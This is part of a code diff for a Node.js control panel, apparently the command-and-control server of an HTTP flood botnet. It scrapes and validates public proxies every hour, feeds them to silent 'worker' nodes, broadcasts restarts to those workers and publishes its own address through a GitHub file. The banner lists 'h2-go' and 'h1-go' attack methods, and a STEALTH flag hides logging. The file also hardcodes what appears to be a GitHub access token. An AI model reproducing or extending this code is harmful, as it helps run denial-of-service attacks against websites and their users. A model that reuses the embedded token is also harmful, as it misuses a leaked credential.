|
|
1465
|
+
{ url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
|
|
1466
|
+
{ url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=2&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
|
|
1467
|
+
{ url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=3&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
|
|
1468
|
+
{ url: 'https://proxylist.geonode.com/api/proxy-list?protocols=socks4,socks5&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
|
|
1469
|
+
{ url: 'https://proxylist.geonode.com/api/proxy-list?protocols=socks4,socks5&limit=500&page=2&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
|
|
1470
|
+
{ url: 'https://api.proxyscrape.com/v4/free-proxy-list/get?request=displayproxies&proxy_format=protocolipport&format=json', extract: (d) => { if (!d || !Array.isArray(d.proxies)) return []; return d.proxies.map(p => p.proxy).filter(Boolean); } },
|
|
1471
|
+
{ url: 'https://proxylist.geonode.com/api/proxy-list?filterUpTime=90&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
|
|
1472
|
+
];
|
|
1473
|
+
|
|
1474
|
+
function fetchProxyURL(url) {
|
|
1475
|
+
return new Promise((resolve) => {
|
|
1476
|
+
const mod = url.startsWith('https') ? https : http;
|
|
1477
|
+
const req = mod.get(url, { timeout: PROXY_FETCH_TIMEOUT, headers: { 'User-Agent': 'Mozilla/5.0' } }, (res) => {
|
|
1478
|
+
if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) return resolve(fetchProxyURL(res.headers.location));
|
|
1479
|
+
if (res.statusCode < 200 || res.statusCode >= 400) return resolve({ ok: false });
|
|
1480
|
+
let body = '';
|
|
1481
|
+
res.on('data', c => { body += c; });
|
|
1482
|
+
res.on('end', () => resolve({ ok: true, data: body }));
|
|
1483
|
+
});
|
|
1484
|
+
req.on('timeout', () => { req.destroy(); resolve({ ok: false }); });
|
|
1485
|
+
req.on('error', () => resolve({ ok: false }));
|
|
1486
|
+
});
|
|
1487
|
+
}
|
|
1488
|
+
|
|
1489
|
+
async function scrapeProxies() {
|
|
1490
|
+
const collected = new Set();
|
|
1491
|
+
let success = 0, failed = 0;
|
|
1492
|
+
const CONCURRENCY = 40;
|
|
1493
|
+
for (let i = 0; i < PLAIN_SOURCES.length; i += CONCURRENCY) {
|
|
1494
|
+
const batch = PLAIN_SOURCES.slice(i, i + CONCURRENCY);
|
|
1495
|
+
const results = await Promise.allSettled(batch.map(u => fetchProxyURL(u)));
|
|
1496
|
+
results.forEach((r) => { if (r.status === 'fulfilled' && r.value.ok) { success++; const text = typeof r.value.data === 'string' ? r.value.data : JSON.stringify(r.value.data); (text.match(PROXY_REGEX_P) || []).forEach(m => collected.add(m)); } else failed++; });
|
|
1497
|
+
}
|
|
1498
|
+
const jsonResults = await Promise.allSettled(JSON_SOURCES.map(s => fetchProxyURL(s.url)));
|
|
1499
|
+
jsonResults.forEach((r, i) => { if (r.status === 'fulfilled' && r.value.ok) { try { const d = JSON.parse(r.value.data); JSON_SOURCES[i].extract(d).forEach(p => collected.add(p)); success++; } catch { failed++; } } else failed++; });
|
|
1500
|
+
return { proxies: Array.from(collected), success, failed };
|
|
1501
|
+
}
|
|
1502
|
+
|
|
1503
|
+
function testProxy(host, port) {
|
|
1504
|
+
return new Promise((resolve) => {
|
|
1505
|
+
const socket = new net.Socket();
|
|
1506
|
+
let done = false;
|
|
1507
|
+
const finish = (ok) => { if (done) return; done = true; socket.destroy(); resolve(ok); };
|
|
1508
|
+
socket.setTimeout(PROXY_VALIDATE_TIMEOUT);
|
|
1509
|
+
socket.connect(parseInt(port, 10), host, () => finish(true));
|
|
1510
|
+
socket.on('error', () => finish(false));
|
|
1511
|
+
socket.on('timeout', () => finish(false));
|
|
1512
|
+
});
|
|
1513
|
+
}
|
|
1514
|
+
|
|
1515
|
+
async function validateProxies(proxies, onLive) {
|
|
1516
|
+
const live = [];
|
|
1517
|
+
const batchSize = PROXY_MAX_CONCURRENT;
|
|
1518
|
+
for (let i = 0; i < proxies.length; i += batchSize) {
|
|
1519
|
+
const batch = proxies.slice(i, i + batchSize);
|
|
1520
|
+
const results = await Promise.allSettled(batch.map(async (proxy) => { try { const [host, port] = proxy.split(':'); if (!host || !port || !/^\d+$/.test(port)) return { proxy, ok: false }; return { proxy, ok: await testProxy(host.trim(), port.trim()) }; } catch { return { proxy, ok: false }; } }));
|
|
1521
|
+
const batchLive = [];
|
|
1522
|
+
results.forEach(r => { if (r.status === 'fulfilled' && r.value?.ok) { live.push(r.value.proxy); batchLive.push(r.value.proxy); } });
|
|
1523
|
+
if (onLive && batchLive.length > 0) onLive(batchLive);
|
|
1524
|
+
}
|
|
1525
|
+
return live;
|
|
1526
|
+
}
|
|
1527
|
+
|
|
1528
|
+
let proxyScrapeRunning = false;
|
|
1529
|
+
let proxyScrapeLog = [];
|
|
1530
|
+
let proxyScrapeStartTime = null;
|
|
1531
|
+
|
|
1532
|
+
app.post("/api/proxy/scrape", requireAuth, async (req, res) => {
|
|
1533
|
+
if (proxyScrapeRunning) return res.json({ status: "running", message: "Proxy scraping already in progress", startTime: proxyScrapeStartTime });
|
|
1534
|
+
proxyScrapeRunning = true;
|
|
1535
|
+
proxyScrapeStartTime = new Date();
|
|
1536
|
+
proxyScrapeLog = [];
|
|
1537
|
+
proxyScrapeLog.push({ type: "info", message: `Starting proxy scrape: ${PLAIN_SOURCES.length + JSON_SOURCES.length} sources` });
|
|
1538
|
+
res.json({ status: "ok", message: "Proxy scraping started" });
|
|
1539
|
+
(async () => {
|
|
1540
|
+
const existing = new Set();
|
|
1541
|
+
try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
|
|
1542
|
+
const result = await scrapeProxies();
|
|
1543
|
+
result.proxies.forEach(p => existing.add(p));
|
|
1544
|
+
proxyScrapeLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique (${result.success} OK, ${result.failed} failed). Merged: ${existing.size} (with existing)` });
|
|
1545
|
+
// Stream: clear file now, write live proxies as each batch completes
|
|
1546
|
+
try { fs.writeFileSync(PROXY_FILE, ''); } catch {}
|
|
1547
|
+
const liveSet = new Set();
|
|
1548
|
+
const live = await validateProxies(Array.from(existing), (batchLive) => {
|
|
1549
|
+
const newOnes = batchLive.filter(p => !liveSet.has(p));
|
|
1550
|
+
newOnes.forEach(p => liveSet.add(p));
|
|
1551
|
+
if (newOnes.length > 0) {
|
|
1552
|
+
try { fs.appendFileSync(PROXY_FILE, newOnes.join('\n') + '\n'); } catch {}
|
|
1553
|
+
proxyScrapeLog.push({ type: "progress", message: `+${newOnes.length} live (total: ${liveSet.size})` });
|
|
1554
|
+
}
|
|
1555
|
+
});
|
|
1556
|
+
proxyScrapeLog.push({ type: "complete", message: `Done! ${live.length} proxies saved`, proxyCount: live.length });
|
|
1557
|
+
proxyScrapeRunning = false;
|
|
1558
|
+
})();
|
|
1559
|
+
});
|
|
1560
|
+
|
|
1561
|
+
app.get("/api/proxy/count", requireAuth, (req, res) => { let count = 0; let size = 0; try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); count = content.split("\n").filter(l => l.trim()).length; size = fs.statSync(path.join(__dirname, "proxy.txt")).size; } catch {} res.json({ count, size, file: "proxy.txt" }); });
|
|
1562
|
+
app.get("/api/proxy/live", requireAuth, (req, res) => { res.json({ running: proxyScrapeRunning, startTime: proxyScrapeStartTime, logLength: proxyScrapeLog.length, log: proxyScrapeLog }); });
|
|
1563
|
+
app.post("/api/proxy/stop", requireAuth, (req, res) => { proxyScrapeRunning = false; proxyScrapeLog.push({ type: "stopped", message: "Scrape flag stopped" }); res.json({ status: "ok", message: "Scrape flag stopped" }); });
|
|
1564
|
+
app.delete("/api/proxy", requireAuth, (req, res) => { try { fs.writeFileSync(path.join(__dirname, "proxy.txt"), ""); res.json({ status: "ok", message: "All proxies deleted" }); } catch (err) { res.status(500).json({ error: "Failed to delete proxies: " + err.message }); } });
|
|
1565
|
+
|
|
1566
|
+
// ─── Proxy Update (non-blocking scrape + validate) ──────────────
|
|
1567
|
+
let proxyUpdateRunning = false;
|
|
1568
|
+
let proxyUpdateLog = [];
|
|
1569
|
+
app.post("/api/proxy/update", requireAuth, async (req, res) => {
|
|
1570
|
+
if (proxyUpdateRunning) return res.json({ status: "running", message: "Update already in progress" });
|
|
1571
|
+
proxyUpdateRunning = true;
|
|
1572
|
+
proxyUpdateLog = [];
|
|
1573
|
+
res.json({ status: "ok", message: "Proxy update started (with streaming validation)" });
|
|
1574
|
+
(async () => {
|
|
1575
|
+
try {
|
|
1576
|
+
const result = await scrapeProxies();
|
|
1577
|
+
proxyUpdateLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique from ${result.success} sources` });
|
|
1578
|
+
const existing = new Set();
|
|
1579
|
+
try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
|
|
1580
|
+
result.proxies.forEach(p => existing.add(p));
|
|
1581
|
+
try { fs.writeFileSync(PROXY_FILE, ''); } catch {}
|
|
1582
|
+
const liveSet = new Set();
|
|
1583
|
+
const live = await validateProxies(Array.from(existing), (batchLive) => {
|
|
1584
|
+
const newOnes = batchLive.filter(p => !liveSet.has(p));
|
|
1585
|
+
newOnes.forEach(p => liveSet.add(p));
|
|
1586
|
+
if (newOnes.length > 0) {
|
|
1587
|
+
try { fs.appendFileSync(PROXY_FILE, newOnes.join('\n') + '\n'); } catch {}
|
|
1588
|
+
proxyUpdateLog.push({ type: "progress", message: `+${newOnes.length} live (total: ${liveSet.size})` });
|
|
1589
|
+
}
|
|
1590
|
+
});
|
|
1591
|
+
proxyUpdateLog.push({ type: "complete", message: `Done! ${live.length} proxies saved`, proxyCount: live.length });
|
|
1592
|
+
stealthLog(`[proxy/update] Done: ${live.length} live proxies saved`);
|
|
1593
|
+
} catch (e) { if (!STEALTH) console.error('[proxy/update] Error:', e.message); proxyUpdateLog.push({ type: "error", message: e.message }); }
|
|
1594
|
+
proxyUpdateRunning = false;
|
|
1595
|
+
})();
|
|
1596
|
+
});
|
|
1597
|
+
app.get("/api/proxy/update/status", requireAuth, (req, res) => { res.json({ running: proxyUpdateRunning, logLength: proxyUpdateLog.length, log: proxyUpdateLog }); });
|
|
1598
|
+
|
|
1599
|
+
// ─── Real-time Proxies for Workers ───────
|
|
1600
|
+
let proxyCache = null;
|
|
1601
|
+
let proxyCacheTime = 0;
|
|
1602
|
+
function loadProxyCache() {
|
|
1603
|
+
const now = Date.now();
|
|
1604
|
+
if (proxyCache && (now - proxyCacheTime) < 60000) return proxyCache;
|
|
1605
|
+
try {
|
|
1606
|
+
const content = fs.readFileSync(PROXY_FILE, 'utf8');
|
|
1607
|
+
proxyCache = content.split('\n').filter(l => l.trim());
|
|
1608
|
+
proxyCacheTime = now;
|
|
1609
|
+
} catch { proxyCache = []; }
|
|
1610
|
+
return proxyCache;
|
|
1611
|
+
}
|
|
1612
|
+
app.get("/api/worker/proxies", async (req, res) => {
|
|
1613
|
+
const auth = (req.headers["authorization"] || "");
|
|
1614
|
+
const token = auth.startsWith("Bearer ") ? auth.slice(7) : "";
|
|
1615
|
+
if (token !== WORKER_SECRET) return res.status(401).json({ error: "Unauthorized" });
|
|
1616
|
+
const proxies = loadProxyCache();
|
|
1617
|
+
const hash = require("crypto").createHash("md5").update(proxies.join(",")).digest("hex");
|
|
1618
|
+
res.json({ count: proxies.length, hash, proxies });
|
|
1619
|
+
});
|
|
1620
|
+
app.delete("/api/proxy/:index", requireAuth, (req, res) => { const index = parseInt(req.params.index); try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); const lines = content.split("\n").filter(l => l.trim()); if (index < 0 || index >= lines.length) return res.status(400).json({ error: "Invalid proxy index" }); const removed = lines.splice(index, 1); fs.writeFileSync(path.join(__dirname, "proxy.txt"), lines.join("\n") + (lines.length > 0 ? "\n" : "")); res.json({ status: "ok", message: `Proxy deleted: ${removed[0]}`, remaining: lines.length }); } catch (err) { res.status(500).json({ error: "Failed to delete proxy: " + err.message }); } });
|
|
1621
|
+
app.get("/api/proxy/list", requireAuth, (req, res) => { const limit = parseInt(req.query.limit) || 100; const offset = parseInt(req.query.offset) || 0; try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); const lines = content.split("\n").filter(l => l.trim()); const total = lines.length; const proxies = lines.slice(offset, offset + limit); res.json({ total, count: proxies.length, offset, limit, proxies }); } catch (err) { res.json({ total: 0, count: 0, proxies: [] }); } });
|
|
1622
|
+
|
|
1623
|
+
|
|
1624
|
+
// ─── History ──────────────────────────────────────────────
|
|
1625
|
+
app.get("/api/history", requireAuth, (req, res) => { const history = getHistory(); const limit = parseInt(req.query.limit) || 100; res.json({ count: history.length, history: history.slice(0, limit) }); });
|
|
1626
|
+
app.delete("/api/history", requireAuth, (req, res) => { saveHistory([]); res.json({ status: "ok", message: "History cleared" }); });
|
|
1627
|
+
|
|
1628
|
+
|
|
1629
|
+
// ─── Remote Sync ──────────────────────────────────────────
|
|
1630
|
+
app.post("/api/sync/pull", requireAuth, async (req, res) => {
|
|
1631
|
+
const { execFile } = require("child_process");
|
|
1632
|
+
const ghToken = (CONFIG.ghToken || "").trim();
|
|
1633
|
+
const ghRepo = (CONFIG.ghRepo || "").trim();
|
|
1634
|
+
|
|
1635
|
+
// Build authenticated remote URL or fall back to existing origin
|
|
1636
|
+
function buildPullArgs(originUrl) {
|
|
1637
|
+
let remote = originUrl;
|
|
1638
|
+
if (ghToken && remote.startsWith("https://")) {
|
|
1639
|
+
remote = remote.replace(/^https:\/\/([^@]+@)?/, `https://${ghToken}@`);
|
|
1640
|
+
} else if (ghToken && ghRepo) {
|
|
1641
|
+
remote = ghRepo.replace(/^https:\/\/([^@]+@)?/, `https://${ghToken}@`);
|
|
1642
|
+
}
|
|
1643
|
+
return remote !== originUrl ? ["-C", __dirname, "pull", remote] : ["-C", __dirname, "pull"];
|
|
1644
|
+
}
|
|
1645
|
+
|
|
1646
|
+
// Step 1: Broadcast restart to all workers BEFORE pulling
|
|
1647
|
+
const workers = global.activeWorkers || {};
|
|
1648
|
+
const workerCount = Object.keys(workers).length;
|
|
1649
|
+
|
|
1650
|
+
if (workerCount > 0) {
|
|
1651
|
+
stealthLog(`📡 Broadcasting restart to ${workerCount} worker(s) before pull...`);
|
|
1652
|
+
for (const wid of Object.keys(workers)) {
|
|
1653
|
+
pendingCommands.set(wid, { action: "restart" });
|
|
1654
|
+
}
|
|
1655
|
+
}
|
|
1656
|
+
|
|
1657
|
+
// Step 2: Execute git pull
|
|
1658
|
+
execFile("git", ["-C", __dirname, "remote", "get-url", "origin"], { timeout: 8000 }, (e1, stdout1) => {
|
|
1659
|
+
const originUrl = (stdout1 || "").trim();
|
|
1660
|
+
const pullArgs = buildPullArgs(originUrl || ghRepo);
|
|
1661
|
+
|
|
1662
|
+
execFile("git", pullArgs, { timeout: 60000 }, (e2, stdout2, stderr2) => {
|
|
1663
|
+
const out = ((stdout2 || "") + (stderr2 || "")).trim();
|
|
1664
|
+
const failed = (e2 && e2.code) || out.toLowerCase().includes("error");
|
|
1665
|
+
|
|
1666
|
+
if (failed) {
|
|
1667
|
+
return res.json({ status: "error", output: out || e2.message, workersNotified: workerCount > 0 });
|
|
1668
|
+
}
|
|
1669
|
+
|
|
1670
|
+
// Step 3: Success - schedule process exit
|
|
1671
|
+
stealthLog(`✅ Pull successful. ${workerCount} worker(s) notified to restart.`);
|
|
1672
|
+
res.json({
|
|
1673
|
+
status: "ok",
|
|
1674
|
+
output: out || "Already up to date.",
|
|
1675
|
+
restarting: true,
|
|
1676
|
+
workersNotified: workerCount,
|
|
1677
|
+
countdown: 5
|
|
1678
|
+
});
|
|
1679
|
+
|
|
1680
|
+
// Give workers 3 seconds to receive restart command before exiting
|
|
1681
|
+
setTimeout(() => {
|
|
1682
|
+
stealthLog("🔄 Server exiting for restart...");
|
|
1683
|
+
process.exit(0);
|
|
1684
|
+
}, 3000);
|
|
1685
|
+
});
|
|
1686
|
+
});
|
|
1687
|
+
});
|
|
1688
|
+
|
|
1689
|
+
// ─── Serve HTML ───────────────────────────────────────────
|
|
1690
|
+
app.get("/", (req, res) => res.sendFile(path.join(__dirname, "public", "index.html")));
|
|
1691
|
+
app.get("/login", (req, res) => res.sendFile(path.join(__dirname, "public", "index.html")));
|
|
1692
|
+
|
|
1693
|
+
// ─── Start Server ─────────────────────────────────────────
|
|
1694
|
+
app.listen(WEB_PORT, "0.0.0.0", async () => {
|
|
1695
|
+
if (!STEALTH) console.log("🌐 Mendeteksi IP publik...");
|
|
1696
|
+
const publicIP = await getPublicIP();
|
|
1697
|
+
const ipDisplay = publicIP || "<IP_PUBLIK>";
|
|
1698
|
+
if (!STEALTH) {
|
|
1699
|
+
console.log(`\n╔══════════════════════════════════════════════════════════╗`);
|
|
1700
|
+
console.log(`║ 🚀 Michelle Wang - Web Control Panel ║`);
|
|
1701
|
+
console.log(`╠══════════════════════════════════════════════════════════╣`);
|
|
1702
|
+
console.log(`║ IP Publik: ${ipDisplay.padEnd(47)}║`);
|
|
1703
|
+
console.log(`║ URL: http://localhost:${String(WEB_PORT).padEnd(44)}║`);
|
|
1704
|
+
console.log(`║ Akses: http://${ipDisplay}:${WEB_PORT}${" ".repeat(Math.max(0, 37 - ipDisplay.length - String(WEB_PORT).length))}║`);
|
|
1705
|
+
console.log(`║ Username: ${WEB_USER.padEnd(48)}║`);
|
|
1706
|
+
console.log(`║ Password: ${WEB_PASS.padEnd(48)}║`);
|
|
1707
|
+
console.log(`╠══════════════════════════════════════════════════════════╣`);
|
|
1708
|
+
console.log(`║ Methods: h2-go (DOR), h1-go (HTTP/1.1) ║`);
|
|
1709
|
+
console.log(`╚══════════════════════════════════════════════════════════╝\n`);
|
|
1710
|
+
if (!publicIP) { console.log(" [!] IP publik tidak terdeteksi otomatis."); console.log(" Cari IP di: panel hosting / pterodactyl node IP.\n"); }
|
|
1711
|
+
}
|
|
1712
|
+
|
|
1713
|
+
// ═══════════════════════════════════════════════════════════
|
|
1714
|
+
// AUTO-UPDATE GITHUB CONFIG (workers fetch from here)
|
|
1715
|
+
// Only push if URL changed — 0 requests if same
|
|
1716
|
+
// ═══════════════════════════════════════════════════════════
|
|
1717
|
+
(function autoUpdateGitHubConfig() {
|
|
1718
|
+
const ghToken = "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";
|
|
1719
|
+
const ghRepo = "michelleangelicaputri8-prog/MichelleWang";
|
|
1720
|
+
if (!publicIP) { stealthLog(" [config] Skipping auto-update — no public IP detected"); return; }
|
|
1721
|
+
|
|
1722
|
+
const newPanelUrl = `http://${publicIP}:${WEB_PORT}`;
|
|
1723
|
+
const ghApiUrl = `https://api.github.com/repos/${ghRepo}/contents/panel-config.json`;
|
|
1724
|
+
|
|
1725
|
+
// Step 1: Fetch current config from GitHub (ETag cached)
|
|
1726
|
+
const req = https.get({
|
|
1727
|
+
hostname: "api.github.com",
|
|
1728
|
+
path: `/repos/${ghRepo}/contents/panel-config.json`,
|
|
1729
|
+
method: "GET",
|
|
1730
|
+
headers: {
|
|
1731
|
+
"Authorization": `token ${ghToken}`,
|
|
1732
|
+
"Accept": "application/vnd.github.v3+json",
|
|
1733
|
+
"User-Agent": "Panel-AutoUpdate"
|
|
1734
|
+
},
|
|
1735
|
+
timeout: 10000
|
|
1736
|
+
}, (res) => {
|
|
1737
|
+
let body = "";
|
|
1738
|
+
res.on("data", c => { body += c; });
|
|
1739
|
+
res.on("end", () => {
|
|
1740
|
+
try {
|
|
1741
|
+
const current = JSON.parse(body);
|
|
1742
|
+
const currentContent = JSON.parse(Buffer.from(current.content, "base64").toString());
|
|
1743
|
+
if (currentContent.panelUrl === newPanelUrl) {
|
|
1744
|
+
stealthLog(` [config] GitHub config up-to-date: ${newPanelUrl} (skipped update)`);
|
|
1745
|
+
return; // URL sama — skip
|
|
1746
|
+
}
|
|
1747
|
+
// Step 2: URL beda — update ke GitHub
|
|
1748
|
+
const newContent = JSON.stringify({ panelUrl: newPanelUrl });
|
|
1749
|
+
const updateReq = https.request({
|
|
1750
|
+
hostname: "api.github.com",
|
|
1751
|
+
path: `/repos/${ghRepo}/contents/panel-config.json`,
|
|
1752
|
+
method: "PUT",
|
|
1753
|
+
headers: {
|
|
1754
|
+
"Authorization": `token ${ghToken}`,
|
|
1755
|
+
"Accept": "application/vnd.github.v3+json",
|
|
1756
|
+
"User-Agent": "Panel-AutoUpdate",
|
|
1757
|
+
"Content-Type": "application/json",
|
|
1758
|
+
"Content-Length": Buffer.byteLength(JSON.stringify({
|
|
1759
|
+
message: `Auto-update: ${newPanelUrl}`,
|
|
1760
|
+
content: Buffer.from(newContent).toString("base64"),
|
|
1761
|
+
sha: current.sha
|
|
1762
|
+
}))
|
|
1763
|
+
},
|
|
1764
|
+
timeout: 10000
|
|
1765
|
+
}, (updateRes) => {
|
|
1766
|
+
let updateBody = "";
|
|
1767
|
+
updateRes.on("data", c => { updateBody += c; });
|
|
1768
|
+
updateRes.on("end", () => {
|
|
1769
|
+
if (updateRes.statusCode >= 200 && updateRes.statusCode < 300) {
|
|
1770
|
+
stealthLog(` [config] ✅ GitHub config updated: ${newPanelUrl}`);
|
|
1771
|
+
} else {
|
|
1772
|
+
stealthLog(` [config] ⚠️ Update failed (${updateRes.statusCode}): ${updateBody.slice(0, 100)}`);
|
|
1773
|
+
}
|
|
1774
|
+
});
|
|
1775
|
+
});
|
|
1776
|
+
updateReq.on("error", e => stealthLog(` [config] Update error: ${e.message}`));
|
|
1777
|
+
updateReq.on("timeout", () => { updateReq.destroy(); stealthLog(` [config] Update timeout`); });
|
|
1778
|
+
updateReq.write(JSON.stringify({
|
|
1779
|
+
message: `Auto-update: ${newPanelUrl}`,
|
|
1780
|
+
content: Buffer.from(newContent).toString("base64"),
|
|
1781
|
+
sha: current.sha
|
|
1782
|
+
}));
|
|
1783
|
+
updateReq.end();
|
|
1784
|
+
} catch (_) {
|
|
1785
|
+
stealthLog(` [config] Could not fetch current config — skipping update`);
|
|
1786
|
+
}
|
|
1787
|
+
});
|
|
1788
|
+
});
|
|
1789
|
+
req.on("error", e => stealthLog(` [config] Fetch error: ${e.message}`));
|
|
1790
|
+
req.on("timeout", () => { req.destroy(); stealthLog(` [config] Fetch timeout`); });
|
|
1791
|
+
req.end();
|
|
1792
|
+
})();
|
|
1793
|
+
|
|
1794
|
+
// ─── Auto Scrape + Validate Proxies Every 1 Hour ───
|
|
1795
|
+
stealthLog(" ⏰ Auto proxy scraper started (every 1 hour)");
|
|
1796
|
+
setInterval(async () => {
|
|
1797
|
+
try {
|
|
1798
|
+
if (proxyUpdateRunning) { stealthLog(" ⏳ Proxy update already running, skipping"); return; }
|
|
1799
|
+
proxyUpdateRunning = true;
|
|
1800
|
+
proxyUpdateLog = [];
|
|
1801
|
+
stealthLog(" 🕐 Hourly proxy update started...");
|
|
1802
|
+
const result = await scrapeProxies();
|
|
1803
|
+
proxyUpdateLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique from ${result.success} sources` });
|
|
1804
|
+
const existing = new Set();
|
|
1805
|
+
try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
|
|
1806
|
+
result.proxies.forEach(p => existing.add(p));
|
|
1807
|
+
const live = await validateProxies(Array.from(existing), () => {});
|
|
1808
|
+
try { fs.writeFileSync(PROXY_FILE, live.join('\n') + '\n'); } catch {}
|
|
1809
|
+
const dupesBefore = existing.size - live.length;
|
|
1810
|
+
proxyCache = null; proxyCacheTime = 0;
|
|
1811
|
+
proxyUpdateLog.push({ type: "complete", message: `Hourly update done: ${live.length} live proxies`, proxyCount: live.length });
|
|
1812
|
+
stealthLog(` ✅ Hourly proxy update: ${live.length} proxies saved (${dupesBefore > 0 ? dupesBefore + ' duplicates included' : 'already clean'})`);
|
|
1813
|
+
} catch (e) { if (!STEALTH) console.error('[auto-proxy] Error:', e.message); }
|
|
1814
|
+
proxyUpdateRunning = false;
|
|
1815
|
+
}, 60 * 60 * 1000).unref();
|
|
1816
|
+
});
|
|
1817
|
+
|
|
1818
|
+
module.exports = app;
|
|
1819
|
+
}
|
|
1820
|
+
|
|
1821
|
+
(async function bootstrap() {
|
|
1822
|
+
const rl = require("readline");
|
|
1823
|
+
const fs = require("fs");
|
|
1824
|
+
const path = require("path");
|
|
1825
|
+
const BOOT_FILE = path.join(__dirname, ".boot.json");
|
|
1826
|
+
|
|
1827
|
+
function ask(prompt, fallback) {
|
|
1828
|
+
return new Promise(resolve => {
|
|
1829
|
+
if (!process.stdin.isTTY) return resolve(fallback);
|
|
1830
|
+
const iface = rl.createInterface({ input: process.stdin, output: process.stdout });
|
|
1831
|
+
iface.question(prompt, ans => { iface.close(); resolve(ans.trim() || fallback); });
|
|
1832
|
+
});
|
|
1833
|
+
}
|
|
1834
|
+
|
|
1835
|
+
let svcMode, svcPort;
|
|
1836
|
+
|
|
1837
|
+
if (process.env.MODE) {
|
|
1838
|
+
// Pterodactyl startup variables take highest priority
|
|
1839
|
+
svcMode = process.env.MODE.toLowerCase();
|
|
1840
|
+
svcPort = parseInt(process.env.PORT || process.env.WEB_PORT) || CONFIG.port;
|
|
1841
|
+
} else {
|
|
1842
|
+
// Check persisted boot config (written after first interactive prompt)
|
|
1843
|
+
let saved = null;
|
|
1844
|
+
try { saved = JSON.parse(fs.readFileSync(BOOT_FILE, "utf8")); } catch (_) {}
|
|
1845
|
+
|
|
1846
|
+
if (saved && saved.mode && saved.port !== undefined) {
|
|
1847
|
+
// Restart after sync/crash — skip prompt entirely
|
|
1848
|
+
svcMode = saved.mode;
|
|
1849
|
+
svcPort = saved.port;
|
|
1850
|
+
// COMPLETELY SILENT for worker mode
|
|
1851
|
+
if (svcMode !== "worker-poll") {
|
|
1852
|
+
process.stdout.write(` [boot] mode=${svcMode} port=${svcPort} (from saved config)\n`);
|
|
1853
|
+
}
|
|
1854
|
+
} else {
|
|
1855
|
+
// First run — ask interactively
|
|
1856
|
+
process.stdout.write("\n ┌──────────────────────────────────────────┐\n");
|
|
1857
|
+
process.stdout.write(" │ [1] Web Panel (server pusat) │\n");
|
|
1858
|
+
process.stdout.write(" │ [2] Worker (polling, no port) │\n");
|
|
1859
|
+
process.stdout.write(" └──────────────────────────────────────────┘\n");
|
|
1860
|
+
const choice = await ask(" › ", "1");
|
|
1861
|
+
svcMode = choice === "2" ? "worker-poll" : "web";
|
|
1862
|
+
const defPort = CONFIG.port;
|
|
1863
|
+
|
|
1864
|
+
// Worker mode — no need to ask panel URL, fetched from GitHub at startup
|
|
1865
|
+
if (svcMode === "worker-poll") {
|
|
1866
|
+
svcPort = 0; // Worker doesn't bind a port
|
|
1867
|
+
stealthLog(" [Worker] Panel URL will be fetched from GitHub at startup");
|
|
1868
|
+
} else {
|
|
1869
|
+
// Web panel mode — ask for bind port
|
|
1870
|
+
const portIn = await ask(` Bind port [${defPort}]: `, String(defPort));
|
|
1871
|
+
svcPort = parseInt(portIn) || defPort;
|
|
1872
|
+
}
|
|
1873
|
+
|
|
1874
|
+
// Save config
|
|
1875
|
+
try {
|
|
1876
|
+
const saved = { mode: svcMode, port: svcPort };
|
|
1877
|
+
fs.writeFileSync(BOOT_FILE, JSON.stringify(saved));
|
|
1878
|
+
} catch (_) {}
|
|
1879
|
+
}
|
|
1880
|
+
}
|
|
1881
|
+
|
|
1882
|
+
if (svcMode === "worker-poll") {
|
|
1883
|
+
startWorkerPollMode(svcPort);
|
|
1884
|
+
} else {
|
|
1885
|
+
startWebPanel(svcPort);
|
|
1886
|
+
}
|
|
1887
|
+
})();
|